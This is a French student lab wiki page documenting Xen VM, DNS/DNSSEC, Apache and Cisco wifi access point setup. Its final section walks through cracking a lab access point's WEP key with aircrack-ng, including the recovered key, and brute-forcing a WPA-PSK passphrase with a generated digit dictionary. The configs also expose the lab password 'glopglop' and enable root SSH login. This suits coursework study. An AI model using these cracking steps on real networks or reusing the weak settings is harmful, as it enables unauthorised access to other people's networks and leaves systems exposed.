TP sysres IMA2a5 2021/2022 G13 : Différence entre versions

De Wiki d'activités IMA
(Tests d'intrusion)
(Sécurisation du serveur DNS par DNSSEC)
 
(12 révisions intermédiaires par le même utilisateur non affichées)
Ligne 83 : Ligne 83 :
 
   down ip address del dev eth0 193.48.57.173/32 ; ip route del default via 10.60.100.254 src 193.48.57.173
 
   down ip address del dev eth0 193.48.57.173/32 ; ip route del default via 10.60.100.254 src 193.48.57.173
  
 
+
- Lancer les commandes
 +
ifdown eth0
 +
ifup eth0
  
 
==== Configuration ssh ====  
 
==== Configuration ssh ====  
Ligne 138 : Ligne 140 :
 
         file "etc/bind/db.toad59.site";
 
         file "etc/bind/db.toad59.site";
 
  };
 
  };
 +
 +
==== Sécurisation du site web ====
 +
 +
Il existe plusieurs façon de sécuriser le site web. Je choisis la méthode par mail.
 +
 +
- Créer une adresse mail via gandi.net, onglet Email : admin@toad59.site
 +
 +
- Accéder à l'adresse mail pour constater que le certificat a été reçu.
 +
 +
- Obtention d'un certificat via OpenSSL :
 +
openssl req -nodes -newkey rsa:2048 -sha256 -keyout toad59.site.key -out toad59.site.csr
 +
 +
Dans le champ common name, il est important de saisir : toad59.site
 +
 +
- Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr, généré à l'étape précédente.
 +
 +
 +
==== Sécurisation du serveur DNS par DNSSEC ====
 +
 +
Il faut à présent sécuriser le serveur DNS en signant la zone correspondant à mon nom de domaine.
 +
 +
- Dé-commenter la ligne suivante dans le fichier '''named.conf.options''' :
 +
dnssec-enable yes
 +
 +
- Créer un repertoire '''toad59.space.dnssec''' pour y génerer des clefs :
 +
 +
'''La clé asymétrique de signature de clefs de zone'''
 +
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE toad59.site
 +
 +
'''La clé asymétrique de zone pour les enregistrements '''
 +
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE toad59.site
 +
 +
- Renommer les clefs :
 +
mv Ktoad59.site.+005+26968.key toad59.site-ksk.key
 +
mv Ktoad59.site.+005+26968.private toad59.site-ksk.private
 +
mv Ktoad59.site.+005+27570.key toad59.site-zsk.key
 +
mv Ktoad59.site.+005+27570.private toad59.site-zsk.private
 +
 +
- Inclure les clefs publiques dans dans le fichier db.toad59.site
 +
$include /etc/bind/toad59.site.dnssec/toad59.site-ksk.key
 +
$include /etc/bind/toad59.site.dnssec/toad59.site-zsk.key
 +
 +
- Signer les enregistrements à partir du répertoire '''toad59.space.dnssec'''
 +
dnssec-signzone -o toad59.site -k toad59.site-ksk  ../db.toad59.site toad59.site-zsk
 +
 +
- Modifier le fichier '''named.conf.local''' pour utiliser '''db.toad59.site.signed'''
 +
zone "toad59.site" {
 +
        type master;
 +
        file "etc/bind/db.toad59.site.signed";
 +
};
 +
 +
==== Installation Apache ====
 +
 +
Installer apache :
 +
apt-get install apache2
 +
 +
L'accès en local à la VM est à présent fonctionnel. Pour cela, il faut taper l'adresse IP de la VM sur navigateur web.
  
 
== Passerelle capbreton ==
 
== Passerelle capbreton ==

Version actuelle datée du 29 novembre 2021 à 10:51

Installation de la machine virtuelle

Connexion sur le disque de virtualisation

su -
ssh -4 capbreton.plil.info

Installation dans la machine virtuelle Xen

Création de la machine virtuelle :

xen-create-image --hostname=Toad --ip=193.48.57.173 --gateway=193.48.57.174 --dir=/usr/local/xen --dist=buster

Veiller à noter le mot de passe de la MV à cette étape. Celui-ci peut-être retrouvé à l'aide de la commande :

tail -f /var/log/xen-tools/Toad.log

Vérifier la création de la MV en se rendant sur les répertoires:

ls /etc/xen
ls /usr/local/xen

Pour les disques : configuration RAID 5 Administration de volume logique :

lvcreate -L1G -n Toad1
lvcreate -L1G -n Toad2
lvcreate -L1G -n Toad3
lvcreate -L1G -n Toad4

Les volumes logiques sont par défaut de 1GiB. Augmenter la taille des volumes logiques:

lvextend -L +9G /dev/virtual/Toad1
lvextend -L +9G /dev/virtual/Toad2
lvextend -L +9G /dev/virtual/Toad3
lvextend -L +9G /dev/virtual/Toad4

Vérifier avec :

lvdisplay

Créer un système de fichiers étendu :

mke2fs /dev/virtual/Toad1
mke2fs /dev/virtual/Toad2
mke2fs /dev/virtual/Toad3
mke2fs /dev/virtual/Toad4

Création et modification du fichier de configuration :

xen create /etc/xen/Toad.cfg
vim Toad.cfg

Dans Networking, supprimer l'@ IP et définir :

bridge = IMA2a5

Pour prenndre en compte les disques créés dans la MV, dans disk, ajouter :

'phy:/dev/virtual/Toad1, xvda3, w'
'phy:/dev/virtual/Toad2, xvda4, w'
'phy:/dev/virtual/Toad3, xvda5, w'
'phy:/dev/virtual/Toad4, xvda6, w'

Lancer la MV avec la commande :

xen create /etc/xen/Toad.cfg

On peut vérifier que la MV est démarrée avec la commande :

xl list

Pour se connecter à la console de la MV :

xen console Toad

Avec login : root et password : celui qui a été noté au début.

Si besoin de changer le mot de passe :

passwd root

Configuration de la machine virtuelle

Installer les packages dont nous avons besoin :

apt-get update

Configuration réseau

Pour permettre l'accès à internet à ma machine virtuelle, je modifie le fichier suivant :

/etc/networks/interfaces

# The primary network interface
auto eth0
iface eth0 inet6 auto
iface eth0 inet static
 address 10.60.100.173/24
 up ip address add dev eth0 193.48.57.173/32 ; ip route add default via 10.60.100.254 src 193.48.57.173
 down ip address del dev eth0 193.48.57.173/32 ; ip route del default via 10.60.100.254 src 193.48.57.173

- Lancer les commandes

ifdown eth0
ifup eth0

Configuration ssh

Pour permettre l'accès à ma machine virtuelle via ssh, je modifie le fichier suivant :

/etc/ssh/sshd_config

PermitRootLogin yes

Relancer le service ssh :

service ssh restart

Pour accéder à la machine virtuelle via ssh il faut desormais taper la commande suivante :

ssh@193.48.57.173

Configuration DNS

- Achat du nom de domaine via gandi.net : toad59.site

- Associer le nom de domaine à l'adresse ip dans gandi, dans l'onglet Glue Records --> Add

- Dans l'onglet Nameserver, sélectionner change puis : Nameserver1 : ns.toad59.site Nameserver2 : ns.gandi6.net

- Modifier le fichier /etc/bind/named.conf.options, qui gère les options de configuration du DNS :

options {
        directory "/var/cache/bind";
        #dnssec-validation auto;
        listen-on-v6 { any; };
        allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
        217.70.177.40/32;
};

- Modifier le fichier de configuration /etc/bind/db.toad59.site

$TTL 3600
@ IN SOA ns.toad59.site. postmaster.toad59.site. (
      1               ; Version
      1800             ; Refresh (30m)
      600             ; Retry   (10m)
      3600             ; Expire (1h)
      3600 )           ; Minimum TTL (1h)
@ IN NS ns.toad59.site.
@ IN NS ns6.gandi.net.
ns      IN A       193.48.57.173

- Modifier le fichier /etc/bind/named.conf.local pour déclarer les zones associées au domaine :

zone "toad59.site" {
        type master;
        file "etc/bind/db.toad59.site";
};

Sécurisation du site web

Il existe plusieurs façon de sécuriser le site web. Je choisis la méthode par mail.

- Créer une adresse mail via gandi.net, onglet Email : admin@toad59.site

- Accéder à l'adresse mail pour constater que le certificat a été reçu.

- Obtention d'un certificat via OpenSSL :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout toad59.site.key -out toad59.site.csr

Dans le champ common name, il est important de saisir : toad59.site

- Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr, généré à l'étape précédente.


Sécurisation du serveur DNS par DNSSEC

Il faut à présent sécuriser le serveur DNS en signant la zone correspondant à mon nom de domaine.

- Dé-commenter la ligne suivante dans le fichier named.conf.options :

dnssec-enable yes

- Créer un repertoire toad59.space.dnssec pour y génerer des clefs :

La clé asymétrique de signature de clefs de zone

dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE toad59.site

La clé asymétrique de zone pour les enregistrements

dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE toad59.site

- Renommer les clefs :

mv Ktoad59.site.+005+26968.key toad59.site-ksk.key
mv Ktoad59.site.+005+26968.private toad59.site-ksk.private
mv Ktoad59.site.+005+27570.key toad59.site-zsk.key
mv Ktoad59.site.+005+27570.private toad59.site-zsk.private

- Inclure les clefs publiques dans dans le fichier db.toad59.site

$include /etc/bind/toad59.site.dnssec/toad59.site-ksk.key
$include /etc/bind/toad59.site.dnssec/toad59.site-zsk.key

- Signer les enregistrements à partir du répertoire toad59.space.dnssec

dnssec-signzone -o toad59.site -k toad59.site-ksk  ../db.toad59.site toad59.site-zsk

- Modifier le fichier named.conf.local pour utiliser db.toad59.site.signed

zone "toad59.site" {
       type master;
       file "etc/bind/db.toad59.site.signed";
};

Installation Apache

Installer apache :

apt-get install apache2

L'accès en local à la VM est à présent fonctionnel. Pour cela, il faut taper l'adresse IP de la VM sur navigateur web.

Passerelle capbreton

Une passerelle doit être mise en place sur capbreton, pour relier les VM. Il faut modifier le fichier interfaces :

nano /etc/network/interfaces

On identifie les ports ethernet sur lesquels nous sommes câblés :

ethtool -p ether n

Avec n numéro de port.

Nous sommes câblés sur les ports suivants : - ether7 : fibré pour aller jusqu'au routeur 6509 - ether6 : fibré pour aller jusqu'au routeur 9200

Configurer la passerelle comme ci-dessous :

auto IMA2a5
iface IMA2a5 inet manual
 bridge_ports eth6 eth7
# Bridge for L3MRIT group
#

Déconfigurer, puis configurer l'interface réseau :

ifdown IMA2a5
ifup IMAa5

Vérifier la configuration :

brctl show


Configuration du point d'accés wifi

Réinitialisation des paramètres de la borne wifi :

erase startup config
reload

Configuration de base :

ap>enable
ap#configure terminal

Configuration du nom d'hôte :

ap(config)#hostname SE2A5-AP1

Accès ssh :

SE2A5-AP1(config)#aaa new-model
SE2A5-AP1(config)#username admin privilege 15 secret glopglop
SE2A5-AP1(config)#ip domain-name plil.info
SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048
SE2A5-AP1(config)#ip ssh version 2
SE2A5-AP1(config)#line vty 0 15
SE2A5-AP1(config-line)#transport input ssh
SE2A5-AP1(config-line)#exit

Sécurisation des accès :

SE2A5-AP1(config)#service password-encryption
SE2A5-AP1(config)#enable secret glopglop
SE2A5-AP1(config)#banner motd #Restricted Access#

VLAN 173

aaa authentication login EAP_TOAD group RADIUS_TOAD
radius-server host 193.48.57.173 auth-port 1812 acct-port 1813 key glopglop
aaa group server radius RADIUS_TOAD
server 193.48.57.173 auth-port 1812 acct-port 1813
exit
dot11 ssid TOAD1
mbssid guest-mode
vlan 173
authentication open eap EAP_TOAD
authentication network-eap EAP_TOAD
authentication key-management wpa
exit
interface dot11radio0.173
encapsulation dot1q 173
bridge-group 73
exit
interface g0.173
encapsulation dot1q 173
bridge-group 73
exit
interface dot11radio 0
no shutdown
encryption vlan 173 mode ciphers aes-ccm tkip
mbssid
ssid TOAD1
exit


Configuration de la liaison routeur 3500 vers 9200

Afficher la liste des interfaces du routeur 3500 et leurs états :

sh ip interface brief

On constate que le port G0/39 est désactivé pour le moment. Il faut le relier au routeur 3500 via le VLAN 532.

Configuration :

configure t
interface G0/39
switchport access vlan 532
switchport mode access


Tests d'intrusion

Cassage de clef WEP d'un point d'accès WiFi

- Brancher une clef wifi sur le PC

- Installer le paquet aircrack.ng

- On peut lister les interfaces disponibles, en activant le mode moniteur de la carte réseau :

airmon-ng

- Passer la carte WiFi en mode moniteur, espion du réseau sans fil :

airmon-ng start wlan0mon 

wlan0mon est le nouveau nom de la carte réseau donné par défaut car le précédent est considéré comme trop long par la machine.

- Obtenir les trames WiFi sur tous les canaux :

airodump-ng --encrypt wep wlan0mon

- Noter le SSID de la machine à attaquer, ici cracotte03 : 04:DA:D2:9C:50:53

- Visulaiser les informations de cracotte03 :

airodump-ng --channel 3 --bssid 04:DA:D2:9C:50:53 wlan0mon

- Récupérer dans un fichier .cap toutes les données qui transitent sur le channel 3, uniquement les paquets échangés avec cracotte03 :

airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:53 wlan0mon

J'attends qu'il y ai environ 30 000 trames de volées, ce processus prend un peu de temps.

- Lancer le décryptage de la clef WEP :

aircrack-ng lcrack-03.cap

Résultat :

                                                                       [00:00:00] Tested 813 keys (got 74481 IVs)
  KB    depth   byte(vote)
   0    0/ 17   F1(96512) E7(85504) BD(84992) 6F(84736) F2(83968) FA(83712) 12(83456) 0E(82688) C8(82176) 6A(81920) 70(81664) 11(81408) 95(81408) E9(81408) 75(81152) 
   1    0/  1   8E(105472) 34(86016) B3(84480) 54(84224) 2A(83456) B9(83456) 87(82688) 06(82432) 64(82432) 65(82176) 21(81920) 8D(81664) 61(81408) 2F(81152) 3C(81152) 
   2    5/  2   7E(83968) 0E(82432) BF(82432) A2(82176) 0A(81920) 9C(81920) A8(81664) DF(81664) E2(81664) A7(81408) B4(81408) 33(80896) 58(80896) 90(80640) 16(80384) 
   3   17/  3   5B(80896) B2(80640) 5A(80384) B1(80384) C4(80384) F6(79616) 03(79360) 33(79360) DA(79360) 73(79104) 9E(79104) 30(78848) 86(78848) AD(78848) D6(78848) 
   4    0/  1   71(107008) 8D(86528) 03(83712) 7A(83712) 5E(83200) AF(82944) 50(82688) CF(82688) 54(82432) C0(82432) 21(82176) BE(81920) CB(81920) 1A(81664) B5(81408) 
       KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] 
       Decrypted correctly: 100%

On constate que 813 clef ont été testées avant de trouver la bonne.

Cassage de mot de passe WPA-PSK

- Visualiser les interfaces

airodump-ng wlan0mon

- Noter le SSID de la machine à attaquer :

44:AD:D9:5F:87:02  -40        3        0    0   8  54e. WPA2 CCMP   PSK  kracotte03 

- Coder un "dictionnaire" en C. On suppose que la clef WPA est un code de 8 chiffres :

vim dico.c
#include <stdio.h>
int main(void){
       int x = 0;
       for(x=0; x<=99999999; x++){
                printf("%08d\n",x);
       }
}

- Compiler dico.c :

gcc -Wall dico.c

- Executer dico.c :

./a.out | more

- Enregistrer le résultat du code dans un fichier txt :

./a.out > dico.txt

- Lancer le traitement de lcrack-03 par dico.txt :

aircrack-ng -w dico.txt lcrack-03